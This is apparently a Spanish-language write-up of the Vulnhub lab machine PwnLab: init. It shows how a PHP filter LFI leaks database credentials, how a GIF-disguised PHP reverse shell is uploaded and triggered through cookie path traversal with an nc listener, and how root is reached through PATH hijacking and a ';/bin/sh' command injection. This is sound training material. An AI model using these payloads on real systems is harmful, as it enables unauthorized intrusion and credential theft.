PwnLab init - Vulnhub

Introducción

Esta máquina puede parecer para principiantes, ¡pero puedo asegurarles que esta los pondrá a prueba!. El propósito de este CTF es obtener root y leer la bandera. La maquina está disponible en: https://www.vulnhub.com/entry/pwnlab-init,158/

CWE

  • CWE-98: Improper Control of Filename for Include/Require Statement in PHP
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • CWE-73: External Control of File Name or Path

Fase de reconocimiento

Aquí hacemos uso de Nmap como anteriormente lo hemos hecho en la fase de reconocimiento.

Como la máquina PwnLab: init se encuentra corriendo en VirtualBox en modo de red “sólo anfitrión” y no sé su dirección IP, ejecuto este comando para buscarla:

nmap -sP 192.168.56.1/24

Una vez obtenemos su dirección IP (en mi caso es 192.168.56.6), procedemos a ver que puertos tiene abiertos:

nmap -p- -open -T5 -vvvv -n -oN puertosAbiertos 192.168.56.6

Obtenemos:

Tenemos 4 puertos abiertos. Cuando hacemos un escaneo más profundo de estos puestos obtenemos:

nmap -sCV -p80,111,3306,58573 192.168.56.6 -oN masInfo

Al ingresar a la página web que está corriendo esta máquina por el puerto 80 tenemos:

Hay 3 secciones en esta página, y nos damos cuenta rápidamente que hay una sección para iniciar sesión y para cargar archivos, pero para cargar estos es necesario iniciar sesión primero con alguno de los usuarios registrados.

Además, la página usa MySQL, PHP, apache y Linux (LAMP Stack):

Por la forma como está estructurada la URL:

http://192.168.56.6/?page=login

… puede ser vulnerable a LFI (Local File Inclusion) usando wrappers de PHP:

Ahora usamos la herramienta Gobuster para hacer búsqueda con diccionario de otras posibles rutas dentro del aplicativo web:

gobuster dir -x php,txt,js,html -u http://192.168.56.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Y encontramos una ruta nueva “config.php”. Al acceder a ello no encontramos nada de información:

Además, al analizar con otra herramienta llamada nikto también nos arroja que la ruta “config.php” puede contener usuarios y contraseñas de la base de datos (asimismo, este archivo puede contener usuarios que están permitidos y no permitidos en la aplicación, extensiones y módulos).
Al buscar un listado de comandos de ataque LFI en esta pagina: https://book.hacktricks.xyz/pentesting-web/file-inclusion encontramos uno que nos puede ayudar a recuperar el código backend en base64 que corre la ruta config.php:

http://192.168.56.6/?page=php://filter/convert.base64-encode/resource=config

Y nos retorna:

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

Al convertir este base64 a texto en esta página https://gchq.github.io/CyberChef/ encontramos algunas credenciales aparentemente de base de datos:

<?php
$server       = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Al intentar acceder a la base de datos MySQL remotamente con esas credenciales:

mysql -u root -h 192.168.56.6 -ppH4u%QJ_H99

Efectivamente logramos acceder a la base de datos y encontramos una base de datos Users, con una tabla que contiene algunos usuarios y contraseña, las cuales parecen estar cifradas en base64:

+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+

Las convertirnos de base64 a texto, y nos damos cuenta que nos podemos loguear con cualquiera de ellas:

Ya logueados podemos subir archivos:

Nuevamente vamos a traer el código backend que corre esta ruta con la URL:

http://192.168.56.6/?page=php://filter/convert.base64-encode/resource=upload

Y nos retorna:

PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==

Al convertirla en la página anterior:

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && 
		  $imageinfo['mime'] != 'image/jpeg' &&
		  $imageinfo['mime'] != 'image/jpg'&&
		  $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile=$uploaddir.md5(basename($_FILES['file']['name']
		  )).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

Vemos que la página verifica que el archivo subido sea de los siguientes tipos jpg, jpeg, gif o png. Al hacer lo mismo con la ruta home, encontramos una parte donde se declara el lenguaje que contendrá la cookie, y curiosamente el lenguaje que contiene la cookie es declarado en un archivo (podremos ejecutar archivos con esta vulnerabilidad):

Ganar acceso / explotación

Vamos a subir un archivo con una reverse shell a la aplicación web. Para ello podemos descargar el archivo con el exploit aqui: https://pentestmonkey.net/tools/web-shells/php-reverse-shell. Lo descomprimimos:

Debemos acceder al exploit y cambiar la dirección IP de la máquina atacante y el puerto por el que estaremos escuchando:

…también, como el archivo a subir debe ser de tipo imagen, debemos cambiar la extensión del archivo a .gif, y dentro del archivo agregar justo al inicio del archivo “GIF8” (magic number de un archivo tipo gif):

Procedemos a subirlo al aplicativo:

Y parece que ya lo hemos subido:

Lo comprobamos en la ruta http://192.168.56.6/upload/, donde podemos encontrar el archivo que acabamos de subir y ha sido renombrado con su md5:

Ahora usamos Burpsuite para modificar el parámetro de la cookie y poder ejecutar la reverse shell:

…
Cookie: lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif
…

Nos ponemos en escucha por el puerto especificado en el exploit (en mi caso el puerto 1234):

nc -nvlp 1234

Y al enviar esta petición al aplicativo logramos entablar una reverse shell:

Para obtener una shell con bash (por comodidad) ejecutamos:

python -c 'import pty;pty.spawn("/bin/bash")'

Cuando ejecutamos el comando uname -a para obtener un poco de información sobre el kernel vemos:

Al enumerar los usuarios del sistema encontramos 4 usuario:

cat /etc/passwd

Cuando nos logueamos con el usuario kane (las credenciales anteriores) encontramos un archivo binario llamado msgmike:

Al ejecutarlo parece que ejecuta el comando cat de un archivo en el directorio de mike que no existe:

Usaremos el comando strings para imprimir los caracteres imprimibles de este archivo binario:

Y efectivamente ejecuta el comando cat.

strings msgmike

Aprovecharemos que ejecuta el comando cat de forma relativa. Crearemos un archivo llamado cat, con el contenido “/bin/sh” (con el fin de obtener una shell del usuario mike), le damos permisos de ejecución y agregaremos el directorio /home/kane (directorio actual) al PATH:

Y … obtenemos una shell pero parece que la mayoría de comandos no funcionan. Cuando exportamos el PATH por defecto en esta nueva shell parece que se arregla este problema:

export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Cuando buscamos que archivos tiene el usuario mike, tenemos otro binario que imprime el comando en un archivo que pertenece a root:

strings msg2root

Al ejecutar el archivo y escribir sometext;/bin/sh logramos una shell del usuario root y podemos leer la flag:

Fuente: https://youtu.be/Q85ku046Q_E